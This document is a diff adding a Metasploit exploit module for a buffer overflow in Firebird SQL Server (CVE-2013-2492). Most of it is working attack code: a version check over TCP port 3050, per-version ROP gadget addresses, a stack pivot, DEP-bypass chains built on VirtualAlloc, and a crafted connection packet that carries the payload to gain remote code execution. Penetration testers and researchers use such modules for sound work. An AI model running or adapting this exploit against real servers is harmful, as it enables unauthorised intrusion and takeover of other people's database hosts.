|
| 1 | +## |
| 2 | +# This file is part of the Metasploit Framework and may be subject to |
| 3 | +# redistribution and commercial restrictions. Please see the Metasploit |
| 4 | +# web site for more information on licensing and terms of use. |
| 5 | +# http://metasploit.com/ |
| 6 | +## |
| 7 | + |
| 8 | +require 'msf/core' |
| 9 | + |
| 10 | +class Metasploit3 < Msf::Exploit::Remote |
| 11 | + Rank = NormalRanking |
| 12 | + include Msf::Exploit::Remote::Tcp |
| 13 | + |
| 14 | + def initialize |
| 15 | + super( |
| 16 | + 'Name' => 'Firebird Relational Database CNCT Group Number Buffer Overflow', |
| 17 | + 'Description' => %q{ |
| 18 | + This module exploits a vulnerability in Firebird SQL Server. A specially |
| 19 | + crafted packet can be sent which will overwrite a pointer allowing the attacker to |
| 20 | + control where data is read from. Shortly, following the controlled read, the |
| 21 | + pointer is called resulting in code execution. |
| 22 | +
|
| 23 | + The vulnerability exists with a group number extracted from the CNCT information, |
| 24 | + which is sent by the client, and whose size is not properly checked. |
| 25 | +
|
| 26 | + This module uses an existing call to memcpy, just prior to the vulnerable code, |
| 27 | + which allows a small amount of data to be written to the stack. A two-phases |
| 28 | + stackpivot allows to execute the ROP chain which ultimately is used to execute |
| 29 | + VirtualAlloc and bypass DEP. |
| 30 | + }, |
| 31 | + 'Author' => 'Spencer McIntyre', |
| 32 | + 'Arch' => ARCH_X86, |
| 33 | + 'Platform' => 'win', |
| 34 | + 'References' => |
| 35 | + [ |
| 36 | + [ 'CVE', '2013-2492' ] |
| 37 | + ], |
| 38 | + 'DefaultOptions' => |
| 39 | + { |
| 40 | + 'EXITFUNC' => 'seh' |
| 41 | + }, |
| 42 | + 'Payload' => |
| 43 | + { |
| 44 | + # Stackpivot => mov eax,fs:[0x18] # add eax,8 # mov esp,[eax] |
| 45 | + 'Prepend' => "\x64\xa1\x18\x00\x00\x00\x83\xc0\x08\x8b\x20", |
| 46 | + 'Space' => 400, |
| 47 | + 'BadChars' => "\x00\x0a\x0d" |
| 48 | + }, |
| 49 | + 'Targets' => |
| 50 | + [ |
| 51 | + # pivots are pointers to stack pivots |
| 52 | + [ 'Windows FB 2.5.2.26539', { 'pivot' => 0x005ae1fc, 'rop_nop' => 0x005b0384, 'rop_pop' => 0x4a831344 } ], |
| 53 | + [ 'Windows FB 2.5.1.26351', { 'pivot' => 0x4add2302, 'rop_nop' => 0x00424a50, 'rop_pop' => 0x00656472 } ], |
| 54 | + [ 'Windows FB 2.1.5.18496', { 'pivot' => 0x4ad5df4d, 'rop_nop' => 0x0042ba8c, 'rop_pop' => 0x005763d5 } ], |
| 55 | + [ 'Debug', { 'pivot' => 0xdead1337, 'rop_nop' => 0xdead1337, 'rop_pop' => 0xdead1337 } ] |
| 56 | + ], |
| 57 | + 'DefaultTarget' => 0, |
| 58 | + 'Privileged' => true, |
| 59 | + 'DisclosureDate' => 'Jan 31 2013' |
| 60 | + ) |
| 61 | + |
| 62 | + register_options([Opt::RPORT(3050)], self.class) |
| 63 | + end |
| 64 | + |
| 65 | + def check |
| 66 | + begin |
| 67 | + connect |
| 68 | + rescue |
| 69 | + return Exploit::CheckCode::Safe |
| 70 | + end |
| 71 | + |
| 72 | + filename = "C:\\#{rand_text_alpha(12)}.fdb" |
| 73 | + username = rand_text_alpha(7) |
| 74 | + |
| 75 | + check_data = "" |
| 76 | + check_data << "\x00\x00\x00\x01\x00\x00\x00\x13\x00\x00\x00\x02\x00\x00\x00\x24" |
| 77 | + check_data << "\x00\x00\x00\x13" |
| 78 | + check_data << filename |
| 79 | + check_data << "\x00\x00\x00\x00\x04\x00\x00\x00\x24" |
| 80 | + check_data << "\x01\x07" << username << "\x04\x15\x6c\x6f\x63\x61\x6c" |
| 81 | + check_data << "\x68\x6f\x73\x74\x2e\x6c\x6f\x63\x61\x6c\x64\x6f\x6d\x61\x69\x6e" |
| 82 | + check_data << "\x06\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x01\x00\x00\x00\x02" |
| 83 | + check_data << "\x00\x00\x00\x05\x00\x00\x00\x02\x00\x00\x00\x0a\x00\x00\x00\x01" |
| 84 | + check_data << "\x00\x00\x00\x02\x00\x00\x00\x05\x00\x00\x00\x04\xff\xff\x80\x0b" |
| 85 | + check_data << "\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x05\x00\x00\x00\x06" |
| 86 | + check_data << "\xff\xff\x80\x0c\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x05" |
| 87 | + check_data << "\x00\x00\x00\x08" |
| 88 | + |
| 89 | + sock.put(check_data) |
| 90 | + data = sock.recv(16) |
| 91 | + disconnect |
| 92 | + |
| 93 | + opcode = data.unpack("N*")[0] |
| 94 | + version = data.unpack("N*")[1] |
| 95 | + if opcode == 3 # Accept |
| 96 | + if [ 0xffff800b, 0xffff800c ].include?(version) |
| 97 | + return Exploit::CheckCode::Vulnerable |
| 98 | + end |
| 99 | + return Exploit::CheckCode::Detected |
| 100 | + end |
| 101 | + |
| 102 | + return Exploit::CheckCode::Unknown |
| 103 | + end |
| 104 | + |
| 105 | + def stack_pivot_rop_chain |
| 106 | + case target.name |
| 107 | + when 'Windows FB 2.5.2.26539' |
| 108 | + rop_chain = [ |
| 109 | + 0x005e1ea4, # MOV EAX,EDI # RETN [fbserver.exe] |
| 110 | + 0x0059ffeb, # POP EBP # RETN [fbserver.exe] |
| 111 | + 0x0000153c, # 0x0000153c-> ebp |
| 112 | + 0x005d261f, # ADD EBP,EAX # MOV EBX,59FFFFC9 # RETN [fbserver.exe] |
| 113 | + 0x0059fe1f, # MOV ESP,EBP # POP EBP # RETN [fbserver.exe] |
| 114 | + ].pack("V*") |
| 115 | + when 'Windows FB 2.5.1.26351' |
| 116 | + rop_chain = [ |
| 117 | + 0x005e1ab8, # MOV EAX,EDI # RETN [fbserver.exe] |
| 118 | + 0x0059650b, # POP EBP # RETN [fbserver.exe] |
| 119 | + 0x0000153c, # 0x0000153c-> ebp |
| 120 | + 0x005cf6ff, # ADD EBP,EAX # MOV EBX,59FFFFC9 # RETN [fbserver.exe] |
| 121 | + 0x0059a3db, # MOV ESP,EBP # POP EBP # RETN [fbserver.exe] |
| 122 | + ].pack("V*") |
| 123 | + when 'Windows FB 2.1.5.18496' |
| 124 | + rop_chain = [ |
| 125 | + 0x0055b844, # MOV EAX,EDI # RETN [fbserver.exe] |
| 126 | + 0x4a86ee77, # POP ECX # RETN [icuuc30.dll] |
| 127 | + 0x000001c0, # 0x000001c0-> ebp |
| 128 | + 0x005aee63, # ADD EAX,ECX # RETN [fbserver.exe] |
| 129 | + 0x4a82d326, # XCHG EAX,ESP # RETN [icuuc30.dll] |
| 130 | + ].pack("V*") |
| 131 | + when 'Debug' |
| 132 | + rop_chain = [ ].fill(0x41414141, 0..5).pack("V*") |
| 133 | + end |
| 134 | + return rop_chain |
| 135 | + end |
| 136 | + |
| 137 | + def final_rop_chain |
| 138 | + # all rop chains in here created with mona.py, thanks corelan! |
| 139 | + case target.name |
| 140 | + when 'Windows FB 2.5.2.26539' |
| 141 | + rop_chain = [ |
| 142 | + 0x4a831344, # POP ECX # RETN [icuuc30.dll] |
| 143 | + 0x0065f16c, # ptr to &VirtualAlloc() [IAT fbserver.exe] |
| 144 | + 0x005989f0, # MOV EAX,DWORD PTR DS:[ECX] # RETN [fbserver.exe] |
| 145 | + 0x004666a6, # XCHG EAX,ESI # RETN [fbserver.exe] |
| 146 | + 0x00431905, # POP EBP # RETN [fbserver.exe] |
| 147 | + 0x00401932, # & push esp # ret [fbserver.exe] |
| 148 | + 0x4a844ac0, # POP EBX # RETN [icuuc30.dll] |
| 149 | + 0x00001000, # 0x00001000-> ebx |
| 150 | + 0x4a85bfee, # POP EDX # RETN [icuuc30.dll] |
| 151 | + 0x00001000, # 0x00001000-> edx |
| 152 | + 0x005dae9e, # POP ECX # RETN [fbserver.exe] |
| 153 | + 0x00000040, # 0x00000040-> ecx |
| 154 | + 0x0057a822, # POP EDI # RETN [fbserver.exe] |
| 155 | + 0x005b0384, # RETN (ROP NOP) [fbserver.exe] |
| 156 | + 0x0046f8c3, # POP EAX # RETN [fbserver.exe] |
| 157 | + 0x90909090, # nop |
| 158 | + 0x00586002, # PUSHAD # RETN [fbserver.exe] |
| 159 | + ].pack("V*") |
| 160 | + when 'Windows FB 2.5.1.26351' |
| 161 | + rop_chain = [ |
| 162 | + 0x00656472, # POP ECX # RETN [fbserver.exe] |
| 163 | + 0x0065b16c, # ptr to &VirtualAlloc() [IAT fbserver.exe] |
| 164 | + 0x00410940, # MOV EAX,DWORD PTR DS:[ECX] # RETN [fbserver.exe] |
| 165 | + 0x0063be76, # XCHG EAX,ESI # RETN [fbserver.exe] |
| 166 | + 0x0041d1ae, # POP EBP # RETN [fbserver.exe] |
| 167 | + 0x0040917f, # & call esp [fbserver.exe] |
| 168 | + 0x4a8589c0, # POP EBX # RETN [icuuc30.dll] |
| 169 | + 0x00001000, # 0x00001000-> ebx |
| 170 | + 0x4a864cc3, # POP EDX # RETN [icuuc30.dll] |
| 171 | + 0x00001000, # 0x00001000-> edx |
| 172 | + 0x0064ef59, # POP ECX # RETN [fbserver.exe] |
| 173 | + 0x00000040, # 0x00000040-> ecx |
| 174 | + 0x005979fa, # POP EDI # RETN [fbserver.exe] |
| 175 | + 0x00424a50, # RETN (ROP NOP) [fbserver.exe] |
| 176 | + 0x4a86052d, # POP EAX # RETN [icuuc30.dll] |
| 177 | + 0x90909090, # nop |
| 178 | + 0x005835f2, # PUSHAD # RETN [fbserver.exe] |
| 179 | + ].pack("V*") |
| 180 | + when 'Windows FB 2.1.5.18496' |
| 181 | + rop_chain = [ |
| 182 | + 0x005763d5, # POP EAX # RETN [fbserver.exe] |
| 183 | + 0x005ce120, # ptr to &VirtualAlloc() [IAT fbserver.exe] |
| 184 | + 0x004865a4, # MOV EAX,DWORD PTR DS:[EAX] # RETN [fbserver.exe] |
| 185 | + 0x004cf4f6, # XCHG EAX,ESI # RETN [fbserver.exe] |
| 186 | + 0x004e695a, # POP EBP # RETN [fbserver.exe] |
| 187 | + 0x004d9e6d, # & jmp esp [fbserver.exe] |
| 188 | + 0x4a828650, # POP EBX # RETN [icuuc30.dll] |
| 189 | + 0x00001000, # 0x00001000-> ebx |
| 190 | + 0x4a85bfee, # POP EDX # RETN [icuuc30.dll] |
| 191 | + 0x00001000, # 0x00001000-> edx |
| 192 | + 0x00590328, # POP ECX # RETN [fbserver.exe] |
| 193 | + 0x00000040, # 0x00000040-> ecx |
| 194 | + 0x4a8573a1, # POP EDI # RETN [icuuc30.dll] |
| 195 | + 0x0042ba8c, # RETN (ROP NOP) [fbserver.exe] |
| 196 | + 0x00577605, # POP EAX # RETN [fbserver.exe] |
| 197 | + 0x90909090, # nop |
| 198 | + 0x004530ce, # PUSHAD # RETN [fbserver.exe] |
| 199 | + ].flatten.pack("V*") |
| 200 | + when 'Debug' |
| 201 | + rop_chain = [ ].fill(0x41414141, 0..17).pack("V*") |
| 202 | + end |
| 203 | + return rop_chain |
| 204 | + end |
| 205 | + |
| 206 | + def exploit |
| 207 | + connect |
| 208 | + |
| 209 | + rop_nop_sled = [ ].fill(target['rop_nop'], 0..16).pack("V*") |
| 210 | + |
| 211 | + # this data gets written to the stack via memcpy, no more than 32 bytes can be written |
| 212 | + overwrite_and_rop_chain = [ target['rop_pop'] ].pack("V") # POP to skip the 4 bytes of the original pivot |
| 213 | + overwrite_and_rop_chain << [ (target['pivot'] - 8) ].pack("V") # MOV EDX,DWORD PTR DS:[EAX+8] |
| 214 | + overwrite_and_rop_chain << stack_pivot_rop_chain |
| 215 | + |
| 216 | + filename = "C:\\#{rand_text_alpha(13)}.fdb" |
| 217 | + evil_data = "\x00\x00\x00\x01\x00\x00\x00\x13\x00\x00\x00\x02\x00\x00\x00\x24" |
| 218 | + evil_data << "\x00\x00\x00\x14" |
| 219 | + evil_data << filename |
| 220 | + evil_data << "\x00\x00\x00\x04\x00\x00\x00\x24" |
| 221 | + evil_data << "\x05\x20" |
| 222 | + evil_data << overwrite_and_rop_chain |
| 223 | + evil_data << "\x15\x6c\x6f\x63\x61\x6c" |
| 224 | + evil_data << "\x68\x6f\x73\x74\x2e\x6c\x6f\x63\x61\x6c\x64\x6f\x6d\x61\x69\x6e" |
| 225 | + evil_data << "\x06\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x01\x00\x00\x00\x02" |
| 226 | + evil_data << "\x00\x00\x00\x05\x00\x00\x00\x02\x00\x00\x00\x0a\x00\x00\x00\x01" |
| 227 | + evil_data << "\x00\x00\x00\x02\x00\x00\x00\x05\x00\x00\x00\x04\xff\xff\x80\x0b" |
| 228 | + evil_data << "\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x05\x00\x00\x00\x06" |
| 229 | + evil_data << "\x41\x41\x41\x41\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x05" |
| 230 | + evil_data << "\x00\x00\x00\x08\x00\x41\x41\x41" |
| 231 | + evil_data << rop_nop_sled |
| 232 | + evil_data << final_rop_chain |
| 233 | + evil_data << payload.encoded |
| 234 | + |
| 235 | + print_status("#{rhost}:#{rport} - Sending Connection Request For #{filename}") |
| 236 | + sock.put(evil_data) |
| 237 | + |
| 238 | + disconnect |
| 239 | + end |
| 240 | + |
| 241 | +end |
0 commit comments